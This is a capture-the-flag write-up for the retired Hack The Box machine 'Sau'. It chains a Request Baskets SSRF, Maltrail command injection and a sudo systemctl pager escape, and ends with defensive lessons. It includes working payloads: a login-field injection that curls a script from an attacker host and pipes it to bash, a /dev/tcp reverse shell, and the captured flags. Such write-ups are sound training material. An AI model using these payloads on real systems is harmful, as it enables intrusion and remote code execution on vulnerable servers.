root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat sau.md
// writeups

Sau

8 Jul 2023 · 12 min read
Sau - maquina de Hack The Box

Executive summary — Sau chains an SSRF in Request Baskets (CVE-2023-27163) to reach an internal service blocked by the perimeter firewall, an unauthenticated command injection in that service (Maltrail, CVE-2023-27148) that gives the initial shell, and a privilege escalation abusing the fact that systemctl status launches a pager with sudo's privileges — the pager lets you run a shell with !.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.229.26

Attack map

[55555] Request Baskets v1.2.1 — basket created without authentication
   │  CVE-2023-27163 — forward_url doesn't validate the destination (SSRF)
   ▼
[127.0.0.1:80] Maltrail 0.53 — only reachable on localhost, behind the firewall
   │  CVE-2023-27148 — unauthenticated OS command injection
   │  (username parameter on the /login endpoint, via the SSRF proxy)
   ▼
[RCE]  puma  (maltrail service account) → user.txt
   │  sudo NOPASSWD: systemctl status trail.service
   │  with a real TTY, systemctl invokes the pager (less) as root
   ▼
[ROOT]  pager escape ("!/bin/sh") → root shell → root.txt

1. Enumeration

sudo nmap -p- --min-rate 3000 -T4 -Pn -n -oA nmap_all 10.129.229.26
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown

Ports 80 and 8338 show as filtered, not closed: the firewall is silently dropping packets rather than rejecting them. First hint that there are internal services unreachable from outside — for now, the only real web surface is port 55555.

sudo nmap -p22,80,8338,55555 -sC -sV -Pn -n -oA nmap_svc 10.129.229.26
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
55555/tcp open     http    Golang net/http server
| http-title: Request Baskets
|_Requested resource was /web

Port 55555 serves Request Baskets (darklynx/basket), an open-source "request bin" style tool: it creates "baskets" with a unique URL, captures the HTTP requests that hit it, and, if configured, forwards them as a proxy to a destination URL.

2. SSRF in Request Baskets (CVE-2023-27163)

When creating a basket you can set forward_url: any request to /<basket>/... is forwarded as-is (same path, query, body and headers) to that URL, and the real response is returned if proxy_response is enabled. The application doesn't validate or restrict the destination — it happily accepts 127.0.0.1 and any internal port. Textbook SSRF: use the Request Baskets server itself as a proxy into ports 80/8338, marked filtered by the perimeter firewall but perfectly reachable from inside the box. Tracked as CVE-2023-27163, affects Request Baskets ≤ v1.2.1.

Creating a basket requires no authentication:

curl -s -i -X POST http://10.129.229.26:55555/api/baskets/mybasket123 \
  -H "Content-Type: application/json" \
  -d '{"forward_url":"http://127.0.0.1:80","proxy_response":true,"insecure_tls":true,"expand_path":true}'
HTTP/1.1 201 Created
{"token":"e0OpfrAaXhHTpElm1bQKScqVjUtn4zeXsAJo6YnHvZft"}

forward_url points at the filtered internal port; proxy_response: true makes the real response from the destination come back to the client instead of a plain acknowledgement; expand_path: true lets any subpath after the basket name be appended and forwarded to the final destination.

curl -s -i http://10.129.229.26:55555/mybasket123/
HTTP/1.1 200 OK
Server: Maltrail/0.53
<title>Maltrail</title>

SSRF confirmed: through the basket we reach Maltrail 0.53 (stamparm/maltrail, a malicious traffic detection system), a service that normally only listens on 127.0.0.1:80 and is unreachable from the outside.

3. Unauthenticated RCE in Maltrail (CVE-2023-27148) → user.txt

Maltrail ≤ 0.53 has unauthenticated OS command injection in how it handles failed logins. When a login attempt fails, the server logs the event with logger, building the command by directly concatenating the received username parameter without sanitizing it — the equivalent of subprocess.call(f'logger ... "Failed password for {username} ..."', shell=True). Confirmed by looking at the service's actual process tree:

/bin/sh -c logger -p auth.info -t "maltrail[879]" "Failed password for `curl${IFS}http://<ATTACKER_IP>:4444/rev.sh|bash` from 127.0.0.1 port 50378"

Blind confirmation via out-of-band (OOB) callback, through the SSRF tunnel itself (http://10.129.229.26:55555/mybasket123/login). The first attempt tried the obvious X-Forwarded-For vector with no luck; the actually vulnerable parameter is username on POST /login:

python3 -m http.server 4444 &
curl -s -X POST "http://10.129.229.26:55555/mybasket123/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'username=`curl${IFS}http://<ATTACKER_IP>:4444/u2`' \
  --data-urlencode "password=test"
# on the local listener:
10.129.229.26 - - "GET /u2 HTTP/1.1" 404 -

The listener receives the request: command injection confirmed. ${IFS} is the standard trick to bypass space filters; there was no such filter here, but it's kept out of habit and robustness.

From blind injection to a reverse shell: serve a script and get the target to fetch and run it with the same technique.

#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4446 0>&1
nc -lvnp 4446 &
curl -s -X POST "http://10.129.229.26:55555/mybasket123/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'username=`curl${IFS}http://<ATTACKER_IP>:4444/rev.sh|bash`' \
  --data-urlencode "password=test"
listening on [any] 4446 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.229.26] 34044
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

Shell as puma, the service account Maltrail runs under (Main PID: 879 (python3) → /usr/bin/python3 server.py). Technical note: the HTTP request that triggers the command stays "hung" while the reverse shell is alive, because the child process spawned by logger never terminates — curl doesn't return until the session is closed; expected behavior, not an error.

puma@sau:/opt/maltrail$ cat /home/puma/user.txt
56708e4a2835fdf037c5bbfa23390e1c

user.txt: 56708e4a2835fdf037c5bbfa23390e1c

4. Escalating to root — sudo systemctl status (pager escape)

puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass, secure_path=...
User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

puma can run, without a password, as any user (including root), exactly systemctl status trail.service. The attack surface isn't systemctl itself, but a side effect: when the output is long and there's a real TTY attached, systemctl status automatically invokes a pager (less or more) — the same behavior as git log or man. And that's the problem: (1) less/more let you run a shell command by pressing ! followed by the command — legitimate pager functionality meant for normal interactive use; (2) when the binary runs via sudo, the pager it launches inherits those same privileges — if systemctl status runs as root, the less it opens also runs as root, and the shell escaped with !/bin/sh will be a root shell too. This is documented on GTFOBins under systemctl (sudo → pager escape).

First attempt, no real pager — the reverse shell obtained earlier (bash -i >& /dev/tcp/...) is a plain socket, with no PTY attached:

puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
     Active: active (running) since Mon 2026-08-03 22:20:19 UTC; 1h 13min ago
   Main PID: 879 (python3)
puma@sau:/opt/maltrail$

Full output all at once, no pager: systemctl checks whether stdout is a real terminal (isatty()); since it isn't, it disables the pager automatically — equivalent to passing --no-pager. No PTY, no escape possible.

Fix: force a real PTY inside the session, the standard shell "upgrade" trick:

puma@sau:/opt/maltrail$ python3 -c "import pty; pty.spawn('/bin/bash')"

Repeating the sudo command inside this new session, the pager does show up this time:

puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)

The warning shows up because TERM and a full raw mode weren't configured, but it's enough for the pager to work in its basic mode. RETURN to dismiss the warning, then the escape:

!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
4007dcaa84d9d6cf0688ab0cefd8bf28

root.txt: 4007dcaa84d9d6cf0688ab0cefd8bf28

Vulnerability summary

PhaseComponentVulnerabilityImpact
Internal pivotRequest Baskets v1.2.1 (port 55555)CVE-2023-27163 — unvalidated forward_url (SSRF)Reaches Maltrail, an internal service blocked by the firewall
FootholdMaltrail 0.53 — /login endpointCVE-2023-27148 — unauthenticated OS command injection via usernameRCE as puma (user.txt)
PrivEscsudo systemctl status trail.servicePager (less) escape inheriting sudo's privilegesRoot shell (root.txt)

Lessons learned

  • A perimeter firewall doesn't protect against an SSRF originating from inside the server itself: if an application forwards requests to a configurable URL without validating it, any port "filtered" from the outside is still exposed through it.
  • Any application that logs user-controlled input (username, headers...) has to treat it as untrusted even on the logging path: building a shell command by string concatenation (shell=True + f-string) is just as dangerous in an audit trail as anywhere else.
  • Authorizing in sudoers a binary that can invoke a pager (systemctl status, git log, man, journalctl...) is equivalent to authorizing that pager with the same privileges. Always check the binary against GTFOBins before granting NOPASSWD, and consider forcing --no-pager or setting PAGER=cat in the sudoers environment when the binary supports it.